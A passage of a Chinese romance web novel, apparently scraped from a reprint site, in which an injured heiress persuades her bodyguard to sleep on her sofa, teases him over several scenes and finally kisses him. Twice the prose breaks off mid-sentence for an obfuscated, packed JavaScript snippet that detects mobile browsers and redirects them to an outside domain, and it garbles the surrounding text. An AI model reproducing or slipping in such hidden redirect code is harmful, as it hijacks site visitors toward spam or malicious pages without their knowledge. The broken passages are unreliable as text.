肃征点头应下,准备走时,又被她喊住:“你以后拿着我的另一张房卡吧,我懒得给你开门。一会儿回来你就直接过来我这边。” 以晏青棠目前的状态,身边确实需要有人适当搭把手,照顾一下。 于是肃征接了房卡。 两小时后,肃征回到民宿,刷卡走进晏青棠的房间。 他刚要说话,就瞥见床上的晏青棠靠着靠枕睡着了,手里还抱着她的iPad。 他走近了去,iPad屏幕还亮着,他粗略看了几行字,好像是植物学的相关论文,附了很多图表。 肃征对学术上的事不感兴趣,但却会被睡着的晏青棠吸引目光。 一路上,她总是动多于静,他很少有机会看到她的这一面。 她的容貌有着近乎客观的娇艳的美,让人不容忽视。而闭上眼眸时,又会收去一部分锋芒,整个人如同染上柔光,脸颊白里透红,显得柔和温婉。 一种古怪的情绪自胸膛间流淌,肃征觉得自己突然心跳加快,浑身的血液都在血管之中变得炙热滚烫。 14. 014 留下照顾 他正大脑放空,床上的女孩睡醒了。 “肃征……”晏青棠看清他后,出了声,声音软软的,带着刚睡醒的慵懒迷糊。 肃征站在她旁边,撞上她的眼神,一时像做了亏心事一般,突然坐立难安起来。 “你帮我跟阿娅拉带话了吗?”晏青棠抱着枕头问道。 “说了。”肃征走远了些,在沙发上坐下,悄悄从晏青棠身上挪开目光,“她一直在等我们回去,知道你的腿伤得不严重后,还是有点愧疚,说该拦着你骑白马的。她还想来看你,可惜家里很忙,要放牛羊,她也还要上学。” “小孩子就是想得多呀。”晏青棠笑,“也就养个一周,看把她难受的,还好有你帮我传个话。” 肃征心说,晏青棠这时候倒是云淡风轻了,早忘了她自己在卫生院是什么状态。 至于小孩子……他看她才是经常像个小孩子。 二十六岁的人了,可能是读书太长时间,踏入社会没有几年,没有“班味儿”,又从小被父母呵护,养出她纯真自我的性格。 试问在当今的社会里,有多少人能像晏青棠这样,可以活得像个小孩子呢?他为之既羡慕,又怜惜。 “对了,你在外面吃饭了吗?”晏青棠突然问道。 “没有,怎么了?”肃征回,阿娅拉一家确实有留他吃晚饭,可他挂念着晏青棠,说完话就一刻不停地赶回来。 “哦,没怎么。”晏青棠坐在床上,暗示肃征道,“我饿了。” 这样的言辞,就是委婉的命令。 肃征知道自己该做什么,打电话给民宿前台,要了送餐服务。 民宿在很多方面其实都比不上晏青棠住惯了的五星级酒店。但建在风景之中,也算入乡随俗。且工作人员都很好客,有尽可能满足需求,也就增添了一抹人性化。送来的晚餐是粤菜,种类还算丰盛,私厨烹饪的口味也还不错,很合晏青棠胃口。 至于肃征,他在食物上从不挑剔,似乎因为从前入伍的经历,阈值很高。 待用完晚餐,时间还早,肃征在晏青棠房中闲坐,偶尔跟晏青棠聊几句解闷。 饭后总有点散不去的困意,肃征今天开了挺久的车,不是去景区,就是去卫生院,身体有点累,看晏青棠正坐在落地窗旁的另一个沙发上追剧,他便阖上眼,打算歇一歇,很快就半昏半沉。 大概半小时后,他听到地面有几声“咚咚”声。 肃征向来浅眠,此时睁开眼睛,一眼瞧见晏青棠正用单腿跳的法子,去另一个房间,应该是不愿打扰他。 他立刻走了过去,问她:“想去哪儿?我扶你。” “不用,我自己去。”晏青棠不回答,而是坚持着自己的做法,似乎有个人层面的为难处。 肃征反应快,隐隐猜到原因,倒是不说破,只折中道:“扶你到门口。” 看她还是为难,他又道:“在卫生院真该找个拐给你,也就不用你单腿跳着走了。” “我才不要拄拐。”晏青棠皱了眉,“哪有那么夸张。” “是啊,而且硬邦邦的,也比不上现成就有的。”在她身旁,肃征好像也开始诙谐了,他抬起自己的手臂,正是他口中的“现成的”。 晏青棠一笑,也就顺着台阶下,接过了他的主动,将自己的手按在他的手臂上。 洗手间很近,晏青棠被肃征扶着,没几步路就到了,临进去前,她回头突然来了一句:“我怎么感觉你的胳膊也是硬邦邦的,跟拐杖比,也没多少优势嘛。” 肃征:“……” 在晏青棠进入洗手间后,他在几步之外的地方等着,等待中,他忍不住捏了捏自己的胳膊。 好像确实不算软,肌肉让他的双臂捏起来的手感是有些紧绷的。 晏青棠怕麻烦,腿暂时碰不了水,洗不了澡,顺道就去浴室简单用毛巾擦洗一下。 等晏青棠出来了,正好看到肃征在对着镜子捏胳膊,便眼神复杂地多望了他几眼:“你干嘛呢?” “没干嘛。”肃征松了手,忙过去扶她,还帮她打开水龙头。 晏青棠洗漱完毕,又被他扶回卧室。 随后肃征就一本正经地叮嘱她:“想要什么东西,想去哪里,都有我在,不要蹦,扯了伤口,那不利于伤势恢复。” 晏青棠突然想逗他了,故作无助地问道:“可这快到睡觉的点了,晚上我一个人时怎么办?” 这问题,肃征还没深想。经她一提醒,肃征是真的开始陷入纠结,然后就听晏青棠小声请求道:“你留下来照顾我,好不好?” “这恐怕不太合适……”肃征想也不想就拒绝了。 晏青棠注意到了他往后退的小动作,不禁玩心更重,仰头躺在床上:“哦,你晚上不管我,那我不还是只能蹦吗?还嘱咐我干什么。” 这话说得没错,肃征无法反驳。 可一来男女大防,二来他还从未与雇主有这么亲近的距离,正要让他睡在晏青棠房里,他心中实在是顾虑重重。 肃征没说话,像是在做思想斗争。 晏青棠将她的纠结尽收眼底,乐意去给他再添把柴,果断下了地后,就当着他的面蹦着去给自己拿纯净水喝。 肃征看她那副艰难模样,终于忍不住了,止住她道:“留下也行,我睡沙发上就行。” 晏青棠的双人床床头,不远处就正对着一大张沙发,还算宽敞,他晚上凑合一下,也不是不行。 且真正艰难的居住条件,他也经历过不少,更何况是在这一晚三四千的民宿房里。 “那好,你回去收拾点东西,来住我的沙发吧。”晏青棠笑盈盈地望着他。 她脸上丝毫没有刚才的无助神态,倒像是心情极好,毕竟如愿以偿。 而肃征既然已经答应下来,也就不得不硬着头皮回自己的房间,拿着简单的随行物品刷卡又回到晏青棠的房间。 “要去洗个澡吗?”晏青棠不太见外地问他,“刚才的水温还行,昨天晚上的就有点冷。” 肃征低着头,竟有些不敢看她,潦草地回了句“嗯”,就一头躲进了浴室。 看他这反应,晏青棠算是有了个重大发现。 这个五大三粗的男人,好像受不了太亲密的言行,稍微一逗,就显得特别拘束。而她看了总想笑,觉得特别有趣。 看他在浴室磨磨蹭蹭一直没出来,晏青棠隐约觉得,未来一周养腿伤的日子,她有了件打发时光的事可做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12490102|131706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,绝不会再无聊了。 卧室里很安静,肃征故意磨蹭到这个时间,觉得晏青棠大概已经睡着了。 肃征走出浴室,轻手轻脚地洗漱完毕,然后躺在沙发上。以他的角度,高高挺起的沙发靠背遮蔽住视线,他实际上根本看不到不远处床上的晏青棠。可闭眼后,他还是怎么都睡不着,不禁翻来覆去,左思右想。 也可能是他多想,他感觉晏青棠今天总在悄悄打量他。 晏青棠把房间里的灯关了,只留了夜灯,在昏暗的环境里,他更是觉得自己浑身紧绷,呼吸加重,很难放松下去。且他并不知道晏青棠会在什么时候出声,什么时候需要他。 “肃征?”在他终于养出一丝睡意时,这大小姐开始吩咐了。 “没睡,怎么了?”肃征哑着嗓子回道。 跟一个女孩同处一室,可真是难熬。还要波澜不惊,说话做事进退得宜。 “没事。”晏青棠忍着笑回。 没事?肃征心里轻恼了下,没事还突然叫他。 下一秒,在朦胧的月光下,他听到女孩说了句话:“晚安,肃征。” 也不知她哪里来的仪式感,说这些话…… 肃征本不想回的,却听她继续轻声道:“今天辛苦你啦。” 昏暗的光线环境,好像能让听觉变得无比敏锐。 肃征听在耳中,心中一暖后,回她几乎成了一种本能:“晚安。” 来到新疆多日,晏青棠基本已经适应了这里,也就恢复了日常的好睡眠。 虽然出于恶作剧逗人玩的心思,把肃征留在沙发上睡,还美其名曰夜里需要照顾,但她却是一觉到天明,夜里压根没醒过。 晏青棠不那么累,难得早上醒得比肃征早。 她从床上坐起,慢悠悠挪到床头,也就刚好能看清不远处的肃征。 肃征躺在那个在她看来很狭窄的沙发上,身上盖着条薄薄的绒毯,他个子太高,腿需要蜷起,看上去睡在这里是有点委屈。 这姿势一看就不是那么稳定,果然,没多久,肃征稍微侧了个身,那条毯子就直接往地下掉。 晏青棠也不知道他到底冷不冷,观察了一阵,看他皱着眉,顿时觉得有点可怜了,下床慢慢往肃征那边挪,没几步就到了,她俯身把薄毯捡起,准备重新盖回肃征身上。 肃征没带睡衣,上身只穿了件材质很柔软的干净衬衫,扣子没扣好,或是睡觉时弄散的,总之此时全敞开着,露出他的胸肌与腹肌,还有随之而下的人鱼线…… 这家伙身材是怪好的。 晏青棠看了一阵,自觉地收回目光,抬起手准备给他盖毯子。 谁知刚碰到他,他就醒了。 他先是看了看晏青棠,随后低头看了眼自己不修边幅散开的衣裳,好像还有点懵。 晏青棠感觉自己应该说点什么,于是客气道:“身材不错。” 闻言,肃征像是彻底清醒了,脸上的表情瞬间变得很不自然,他撇过脸去,不看晏青棠,只顾着皱起眉,把身体往沙发靠背那个方向靠去,右手拢了拢衬衫,灵活的双手开始扣扣子,速度飞快。 “你这是什么反应?”晏青棠打量着他,“良家少男被调戏了?” 15. 015 玩笑一吻 “大清早,胡说些什么。” 肃征听到晏青棠的那句调侃,顿时全身的肌肉线条都变成紧绷的状态,头脑也清醒不少。 他的语气带着刻意的严肃与正经,而晏青棠却注意到,男人的耳根都红了,那一小片粉红甚至一直蔓延到后颈。 这种反应与他素日表现出的专业太有反差,显示出这是他并不熟悉的领域,是非他可掌控的状态。 肃征不喜欢这种感觉,冷着脸站起身,转头就去洗手间洗漱。 出来后,神色仍是淡漠的,问起晏青棠:“早上想吃点什么?我去给你带回来。” 民宿有餐厅供应早餐,肃征这话,摆明了是不想跟晏青棠一起在房间里吃。晏青棠说了几样,肃征记下,拿了房卡就打算出门。 人刚走到门口,就被晏青棠叫住:“等等,你过来下。” “有别的事吗?”肃征一手按在门把手上,缓缓回头。 “你先过来。”晏青棠朝他招了招手。 待他走近,晏青棠才轻声道:“我渴了,想喝热水。” 害怕民宿的水壶不干净,晏青棠特意带了便携式电热水壶。肃征也会操作,默默接水烧上,加热很快,几分钟水就开了。 他掺进了凉的纯净水,然后把杯子放在了晏青棠的床头。 打算二次离开时,晏青棠又开了口:“先别走,你再过来下。” 经过大清早的事,肃征还尴尬着,似乎连抱怨她多事的心思都消失了。 他别扭地靠近过去,走到床边的晏青棠面前,晏青棠伸出手,手指掠过他身上的衬衫,从衣领缓缓向下,小指勾了勾他的衣扣,即使隔着衣料,指尖的微凉触感还是如此清晰地传到他胸口的皮肤。 几秒钟的时间,被相对论拉伸至漫长如冬夜。 他的心跳跟着加快,口中干涩,不觉吞咽了下,喉结轻轻滚动。他想阻止住晏青棠的小动作,但还犹豫着迟迟没伸手,只口头警告她:“晏青棠,你能不能不要……” 正在这时,晏青棠嗤的一声笑了出来,抬开手,指着他的衬衫,像是好心提醒他:“肃征,扣子扣错了。” 肃征低下头去,瞧见那排扣子全往下扣错了一个,大概是方才太慌乱的缘故。他原本想解开重扣,但想起这是当着晏青棠的面,手就停住了,转身先出了她的卧室,一阵悉悉索索,始终静默着,而后是一声清脆的关门声。 成功又把人吓跑了。 晏青棠不禁心情大好,连腿伤的疼都觉得轻了许多。 这时闺蜜沈梨打来电话,问她在新疆野外考察的情况,她说起新疆春日的风景,跟着也提到了随行的肃征。 “你晚上就这么让一个陌生男人睡在自己房里,真不怕出事?”沈梨感慨起晏青棠的心大。 晏青棠梳起头发,不出门,倒是不用特意扎高,于是全披在肩后,想了想道:“也不算完全陌生吧,我俩相处小半月了,人还是信得过的。” 她靠近他,稍微有点小动作,就能吓得离她八丈远。 “那你也不应该……”沈梨念叨个不停,忽地语气一转,试探般问她,“你喜欢上了?” “那倒没有。”晏青棠否认极快,“你怎么突然这么问?” “因为他听起来很特殊,你不那么讨厌他。”沈梨回忆着晏青棠过往的那些追求者,慢慢罗列着,“以前你最讨厌那些男人追求你,上学时你会把男生送的情书撕碎丢垃圾桶,工作后你直接把玫瑰花丢回男人怀里。儒雅的,你说装;开朗的,你说吵;情商低的,你说没意思;情商高的,你说人海王……” 能在晏青棠面前出现的,其实都是圈子里的优质男。其中有些还是晏雅钧介绍的,是真正的“晏家严选”。 “哦对了,你爸一直催你早点成家,他给你介绍的,待遇更差。”沈梨光是想想,都同情那些男人,“你那张刀子嘴,上次那个金丝边眼镜金融男,天生发际线有点高,你当着人家的面,说他四十岁之后就会变秃头。” 晏青棠也回忆起来当时的场景,没忍住笑:“实话啊。” “你还笑。”沈梨吐槽道,“你可成了这群男人的心理阴影了。” “男人不是天生很自信吗?被我说几句,就有心理阴影,是不是太脆弱了点?”晏青棠并无“悔过”之意,反而坦荡道,“而且他们打算追我之前,就该考虑到被我拒绝的可能性。难不成追我时,就默认我会答应吗?” “打住打住。”沈梨连忙叫停,“青棠,我感觉你骂人时就像一挺火力十足的机关枪,不说别的,跟你同行的那位受得了吗?” “他有什么受不了的。”晏青棠傲娇地替肃征回了,“跟我这么好的人待在一块儿,他开心还来不及。” “禁止自夸……”沈梨开了个头,但想到她平时接触到的晏青棠,感觉也没说错,“是挺好的,面冷心热嘛。” 随后话锋一转,问道:“那肃征呢?他是什么样的人?让你这么放心他。” 晏青棠手上拿着关于肃征的大量资料,可她没有对沈梨说出那些信息,只讲她自己的感受:“他啊,是个情绪特别稳定的人。有点糙,可不是那种糙,嘴里没脏话,也不抽烟呛人。长得五大三粗,可是做事粗中有细,能考虑到很多小细节,挺会照顾人。原则性很强,有自己的坚持。” “哦,还有,脸好看,身材也还不错。”晏青棠补充。 与上次给父亲打电话不同,这回在闺蜜面前,晏青棠对肃征的评价几乎都是好话。 “晏大小姐,你快把他夸出花来了。”沈梨开玩笑道,“这么喜欢,赶紧把他收了吧。” “可这不叫喜欢吧。是有点兴趣。”晏青棠进行了好一番自我剖析,才坦诚道,“但不多。” 这就是晏青棠现阶段最真实的感受。肃征刚巧长着一张她的理想型的脸。 以她的性格,对一个男人有兴趣没必要藏着掖着。 她可以直截了当地告诉好友沈梨,她对肃征有兴趣,可真要说她很喜欢肃征,甚至爱肃征,那又还没到那个程度。 沈梨是知道晏青棠在感情上的挑剔与完美主义的,否则以围在她身边讨好追求的男人数量来看,她不会到了这个年纪还一直单着。 这事情有利有弊,晏青棠无形之中避开了很多烂桃花,但相应的,关于爱情,晏青棠从来都是只有丰富理论,而无丰富经验。 这样的晏青棠,可能还不知道怎样开启一段感情,未来跟她那位“有点兴趣”的男人相处起来,不知道会不会磕磕碰碰。 但沈梨没机会多问了,电话那边响起开门声,晏青棠匆匆说了句“再见”,就挂了电话。 电话里的“当事人”带着早餐回来了,洗完手后,帮晏青棠在桌上摆放好,又递给晏青棠消毒用的湿巾。 晏青棠确实懒得再去多洗一次手,用肃征的湿巾擦完手后,就准备吃饭。 肃征没跟她坐在一起,刻意保持了距离。等晏青棠吃完饭后,安静的他立刻过来收拾好桌面,随后又坐到远处。 后来想起什么,他走到床头,把桌上的那杯水拿走了:“刚才没喝吗?都放凉了。” “我忘了。”晏青棠这才想起来早上她嚷嚷着要喝热水,可沈梨的电话一打来,就打断她的思路。 “那还想喝吗?”肃征温声问道。 他已经又去接水插上热水壶插头了,只等着晏青棠的命令。 晏青棠笑了笑,回道:“喝,不过你记得再拿一个新杯子。” 两人坐在沙发上一起等热水。 水滚开后,晏青棠比肃征先一步倒水,肃征只当她是太渴,等不及要自己来,于是笑了笑,却见她在新杯子里倒好热水,又混合好之前没喝的凉水,最后先端到了他的面前。 “这是你的。”她道。 说完后,晏青棠没管他的反应,而是又去给她自己倒水去了。 “谢谢。”肃征握住杯子,热水温暖着杯壁,握久了会有些烫,但他手掌上生着茧,倒不觉得烫了。 新疆水质偏硬,矿物质过于丰富,肃征喝时,有种久违的熟悉感,但这时才想起外地人有很多是不习惯这种水质的,不禁问起晏青棠:“喝得惯吗?不然改用纯净水烧热水。” “不用那么麻烦。”晏青棠端起杯子小口喝着水,“我平时不太爱喝热水,是这两天腿上不好,再加上免疫力低,我怕我胃疼又犯了。” 肃征一听,原来肠胃问题在晏青棠这儿是常事,也难怪她随身携带着益生菌还有药物。 “对了,这是不是要拆开上药来着?”喝完水,晏青棠轻轻晃了晃自己受伤的右腿,她压根没记医嘱。 有肃征帮她记着:“每天都要重新消毒上药,消炎药也要记得一天三顿按时吃。” 吃药好说,晏青棠接了药,直接伴水送服,很是爽快。 但到了拆绷带上药环节,她的脸色就变了。 肃征解开绷带,查看伤势,她的小腿与脚踝处已经消肿,看样子不用继续缠着绷带,但那些擦伤还需要处理。 联想到晏青棠的怕疼,肃征直接把左臂伸高了送到她面前:“想咬就咬,不用多想。” 晏青棠还没咬,但先将他的手臂抱了个结结实实。等肃征右手拿着碘伏棉签给伤口消毒时,她的手一紧,好像十分慌乱,脸颊贴近了他的手腕。 她的唇很软,碰在他结实的手臂上,却忍耐着没有咬他,始终轻轻贴着,就像一个绵柔的吻。 肃征涂生长因子凝胶的手因此慢了些,垂眸望着她的脚踝,心里杂乱一片。 晏青棠终于发话了,小声催起他:“肃征,你快点……” 他便赶紧收了他的纷乱心思,加快给晏青棠上药的速度,最后给伤口处贴上无菌敷贴。 “好了。”半跪在地上的肃征站起身,松了松有些发麻的腿。 这时晏青棠仰起头,肃征才错愕地瞧见,她的双眸有点湿润,像是哭了,他顿时无所适从起来,低声问她:“我弄疼你了?” 晏青棠摇摇头,窘着一张脸,朝男人眨眨眼睛:“是我自己根本忍不住。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12554606|131706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我是不是很娇气?”晏青棠抬眸问道,“连这点疼都忍不了。” 她以为这次肃征肯定要顺着她的话来调侃她了,可是没有。 肃征摇摇头,反而在安慰她:“不能这么说。人与人对疼痛的忍耐力本来就是不一样的。” 靠谱的人说起话来,有种特别的力量。 这话无疑是成功安慰到了晏青棠,她很快就笑了,又因为离肃征很近,忍不住勉强站起身,抱住他:“肃征,你真好。” 肃征被她猛一抱住,原本就身体一僵,又被她夸,更觉得不适应,于是下意识便回她:“听不习惯,你还是像之前那么怼我好一点。” “夸你你还不乐意了。”晏青棠松了手,一时觉得好笑,手指戳着他的胸口玩儿,随口吐槽道,“你是抖M吗?” 无论她有没有意识到,她手上的小动作多少都有点暧昧了,一下下戳着,让肃征胸口发痒。 “那你是抖S吗?”肃征面无表情地把她的手指握住,而后慢慢从自己身上挪开,“这么喜欢逗人。” 原来连肃征自己也已经缓过神来,发现从昨天开始,她沉迷逗他。 “逗人怎么了?”晏青棠很不喜欢他行为上的拒绝,试图占回主动权,不服输地把手重新搭在他的肩上,笑道,“那还不是因为你好玩儿,让人想玩儿。” 玩儿? 肃征明显是错会了她话里的意思,再一次挪开她的手,表情不知不觉就低落下去,心中有种被羞辱的感觉,冷声反问她道:“晏大小姐平时很喜欢玩人吗?” “还好。”晏青棠没察觉到他微变的神色,自顾自想了想,回复还挺认真,“但感觉别人没意思,还是你更有意思。” 其他人,晏青棠还不屑于去逗。 可这话,听在肃征耳中,就是另一番意思。就好像是晏青棠在多人之间进行过比较,最近又盯上了他。 “我没意思,你还是别玩我。”肃征皱眉道。 他隐隐想起从前听过的那些豪门传闻了。有钱人无论男女,都有玩心。他们喜欢花钱找乐子,换身边的人比换衣服还勤。 他确实拿钱办事,在雇佣关系里受人差遣,可也是正经保镖,并不是供上流消遣的工具。 从前也曾遇到过几次有钱的女雇主暗示,他都当玩笑话客客气气拒绝了,并不当回事。 但今天,亲耳听到晏青棠也说起这些话,他心中竟然生起气来,翻腾的情绪隐忍不下。 谁知晏青棠还不满起来,盯着他嘟囔:“怎么生气了?这么小气……” “好。”肃征气极反笑,摆出平静姿态,把她的手重新放回他肩上,淡声道,“那我不生气,我大方点,让你玩,你要怎么玩我?” 他的问题能生生把人问懵,晏青棠愣了下:“我还没想好……” “那你慢慢想。”肃征自己在心中生着闷气,倒是想要看看晏青棠打算怎么玩他,“你想要我怎么样都行。” “嗯……”晏青棠开始动起脑筋,看着他道,“那你先笑一下?” 肃征平时明明会笑,可现在却板着一张脸,看了怪唬人的。 肃征依言冲着她僵硬地笑了下,她不是很满意,不悦道:“怎么感觉你整个人都很硬?平时像是站军姿,开车背是挺直的,现在……连笑也是硬的。” 肃征无疑是给自己出了个难题,这时候不得不顺着晏青棠的话,改变笑的状态,显得柔和亲切些。 晏青棠看了,点点头,道:“好多了,那就这样吧。” “这就完了?”肃征有些没反应过来,可她确实有了偃旗息鼓的意思,诧异道,“不玩了?” “还要玩什么?”晏青棠不解地望着他。 “没什么。”肃征这时像是松了口气,“我还以为,你要挑战我的底线。” 这给了晏青棠灵感,逗他的心思重新滋生,也想起闺蜜沈梨的话。 对肃征抱有的那些兴趣,此刻成了一种助力。 平时追晏青棠的男人太多,大都花样类似,殷勤谄媚,反而让她没有兴趣。 肃征与他们相比,则显得超凡脱俗,他越是平静,对她不追捧不奉承,她心中就越对肃征有一种靠近并探索的欲望,或者直白地称其为征服欲。 “你的底线啊。”晏青棠直勾勾盯着肃征瞧,对肃征的小兴趣,似乎在催着她做点什么。 肃征的底线,好像就是与雇主的私人关系。在跟春芳姨聊天时,他就扬言绝不会跟雇主在一起,建立亲密关系。 她这种直白的探究眼神让肃征顿感不妙,他只觉得晏青棠这一回真的要语不惊人死不休了。 果然,晏青棠一脸玩味地望着他,眼里不知有几分认真:“怎么样都行?那么肃征,你要不要跟我?” “跟你什么?”肃征反问。 “好笨啊。”晏青棠懊恼地抱怨了句,一时兴起,竟凑到他脸颊。 紧跟着,她亲了他一下,蜻蜓点水,若有似无,而肃征瞬间感觉全身酥麻,脑袋嗡的一声,彻底懵了。